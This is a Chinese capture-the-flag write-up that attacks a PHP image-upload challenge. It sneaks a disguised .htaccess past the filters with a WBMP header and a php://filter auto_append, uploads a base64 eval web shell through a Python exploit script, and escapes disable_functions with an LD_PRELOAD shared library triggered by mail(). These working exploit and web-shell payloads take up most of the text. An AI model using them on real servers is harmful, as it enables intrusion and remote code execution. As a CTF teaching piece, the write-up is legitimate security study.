0%

l33t writeup

环境搭建

官方源码发布(包含docker)

线上环境(目前还能访问)

源码分析

查看html注释发现

http://35.246.234.136/?source

获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
if (isset($_GET["source"]))
die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
mkdir($userdir);
}

$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);


if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}

$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);

if (empty($parts[0])) {
array_shift($parts);
}

if (count($parts) === 0) {
die("lol filename is empty");
}

if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}

$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}

if (!exif_imagetype($tmp_name)) {
die("not an image.");
}

$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}

$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";

?>

<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" name=upload>
</form>
<!-- /?source -->

先解释几个php函数

  • array_pop :array_pop — Pop the element off the end of array
  • explode:explode — Split a string by a string
  • array_shift:array_shift — Shift an element off the beginning of array

  • exif_imagetype:exif_imagetype — Determine the type of an image

  • getimagesize:getimagesize — Get the size of an image
  • implode:implode — Join array elements with a string

  • mb_strpos:mb_strpos — Find position of first occurrence of string in a string

通过读源码,攻击者可以上传文件。上传的文件有很多限制。

  • 文件名必须要包含.

  • 设置了文件后缀黑名单"php","php3","php4","php5","php7","pht","phtm","phtml","phar","phps",黑名单非常完善。

    • 如果文件名是通过get或post获取的,可采用php\n的方式绕过
    • 如果存在.htaccess可以通过上传.htaccess达到其他后缀的效果
    • 如果获取文件后缀的方式有问题,可以通过php/. 方式绕过
  • 文件内容不能包含<?

    • 通过php小于7.0的可以通过<script lanague='php'> 绕过

      1
      2
      7.0.0	The ASP tags <%, %>, <%=, and the script tag <script language="php"> are removed from PHP.
      5.4.0 The tag <?= is always available regardless of the short_open_tag ini setting.
    • 如果能够控制文件名开头可以通过伪协议绕过:php://filter

  • 文件要通过exif_imagetype的检查

    • 只检查文件头
  • 图片的height和width要是1337

思路一

通过php/. 能够写文件吗?

image-20190122132240238

从上面发现好像能够写文件,但是需要我们控制文件名为xxx.php/. 在上传文件的过程中我们只能够控制filename 但是测试发现当filename改为

wushell.php/. 的时候$name = $_FILES["image"]["name"] 只能为.,后来又测试了一下通过$_FILES获取的文件名不能包含/ ,他会取最后一个/后面的内容。所以想通过xxx.php/. 的思路行不通。

思路二

然后再试.htaccess

image-20190122135851917

存在可能有戏。

1
2
3
4
5
6
7
8
9
10
$parts = explode(".", $name);
$ext = array_pop($parts);

if (empty($parts[0])) {
array_shift($parts);
}

if (count($parts) === 0) {
die("lol filename is empty");
}

但是如果我们控制filename.htaccess

image-20190122140106678

这是$parts将为空,难道.htaccess也不行吗?有个地方比较奇怪

1
2
3
if (empty($parts[0])) {
array_shift($parts);
}

这样做可能会导致最后的filename与从$name = $_FILES["image"]["name"] 不同。

如果我们控制filename..htaccess 不就行了吗?

好的到目前为止,我们可以控制最后的文件名为.htaccess 了。

如果能够控制.htaccess的内容为

1
AddType application/x-httpd-php .wuwu

即可。

但是这样肯定是不能满足关于图片的哪些检查的。

根据前面的分析,.htaccess需要满足

  • exif_imagetype() 支持的magic number
  • AddType application/x-httpd-php .wuwu
  • 还要能正确解析

如果强行加magic number是不能被正确解析的,可以加注释#,但是没有magic number为#。感觉到这时候可以fuzz了

https://github.com/php/php-src/blob/e219ec144ef6682b71e135fd18654ee1bb4676b4/ext/standard/image.c

根据这进行fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
PHPAPI const char php_sig_psd[4] = {'8', 'B', 'P', 'S'};
PHPAPI const char php_sig_bmp[2] = {'B', 'M'};
PHPAPI const char php_sig_swf[3] = {'F', 'W', 'S'};
PHPAPI const char php_sig_swc[3] = {'C', 'W', 'S'};
PHPAPI const char php_sig_jpg[3] = {(char) 0xff, (char) 0xd8, (char) 0xff};
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
(char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};
PHPAPI const char php_sig_tif_ii[4] = {'I','I', (char)0x2A, (char)0x00};
PHPAPI const char php_sig_tif_mm[4] = {'M','M', (char)0x00, (char)0x2A};
PHPAPI const char php_sig_jpc[3] = {(char)0xff, (char)0x4f, (char)0xff};
PHPAPI const char php_sig_jp2[12] = {(char)0x00, (char)0x00, (char)0x00, (char)0x0c,
(char)0x6a, (char)0x50, (char)0x20, (char)0x20,
(char)0x0d, (char)0x0a, (char)0x87, (char)0x0a};
PHPAPI const char php_sig_iff[4] = {'F','O','R','M'};
PHPAPI const char php_sig_ico[4] = {(char)0x00, (char)0x00, (char)0x01, (char)0x00};
PHPAPI const char php_sig_riff[4] = {'R', 'I', 'F', 'F'};
PHPAPI const char php_sig_webp[4] = {'W', 'E', 'B', 'P'};

测试发现0x00开头的能满足条件。

所以jp2 和ico能够满足。

ico的长度最多是0xff,为1337是0x539

jp2 只修改header不能改变getimagesize的结果。到这里感觉有点凉凉。

硬着头皮查

http://php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants

剩下的magic number

查到wbmp可以

https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format

然后用此链接

https://image.online-convert.com/convert-to-wbmp

生成一个1337*1337大小的图像,然后删除只留00008A398A39 这些即可满足type为wbmp长宽高为1337

image-20190122161403251

到这里终于可以写.htaccess

但是虽然xxx.wuwu 能够当成php执行了,但是还是不能写<?解决的方式还是使用伪协议。

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"会自动include一个php脚本

所以最后的htaccess

1
2
AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import base64

url = "http://35.246.234.136/?"

header = {"Cookie":"PHPSESSID=58eshi3a265dguf0icnkc6qk5a"}

htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu"
"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")

files = [('image',('..htaccess',htaccess,'application/octet-stream'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
print("upload .htaccess")
r = requests.post(url=url, data=data, files=files,headers=header)#proxies=proxies)

# print(r.text)

print("upload shell.wuwu")

files = [('image',('shell.wuwu',shell,'application/octet-stream'))]
r = requests.post(url=url, data=data, files=files,headers=header)

查看phpinfo()

image-20190122172902856

http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu?c=var_dump(scandir(%27/%27));

image-20190122173135836

发现flag和get_flag,先尝试读取flag

1
http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu?c=highlight_file(%27/flag%27);

发现啥都没有,应该是没有权限读

算了,还是先绕过disable fucntion吧

想到了前段时间爆出来的imap_open 绕过disable function

https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

https://github.com/Bo0oM/PHP_imap_open_exploit

判断imap_open 是否存在

1
http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu?c=var_dump(get_defined_functions());

没有imap_open

mail存在利用LD_PRELOAD 进行绕过

原理可参见

https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

参考这个

https://github.com/tothi/ctfs/tree/master/alictf-2016/homework

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
char buf[512];
strcpy(buf, cmd);
strcat(buf, " > /tmp/_0utput.txt");
system(buf);
}

int geteuid() {
char *cmd;
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
if ((cmd = getenv("_evilcmd")) != NULL) {
payload(cmd);
}
return 1;
}

上传evil.so

1
move_uploaded_file($_FILES['evil']['tmp_name'],'/tmp/evil.so');
1
2
3
4
5
6
7
8
9
import requests

url = "http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu"

param = {"c":"move_uploaded_file($_FILES['evil']['tmp_name'],'/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.php');echo 'ok';var_dump(scandir('/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72'));"}
files = [('evil',('evil.so',open("shell.php","rb"),'application/octet-stream'))]
r = requests.post(url=url, files=files, params=param)

print(r.text)

shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$r1 = putenv("LD_PRELOAD=/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/evil.so");
echo "putenv: $r1 <br>";

$cmd = $_GET['cmd'];
$r2 = putenv("_evilcmd=$cmd");
echo "putenv: $r2 <br>";

$r3 = mail("a@example.com", "", "", "");
echo "mail: $r3 <br>";

highlight_file("/tmp/_0utput.txt");

?>

image-20190122202414731

终于能执行命令了!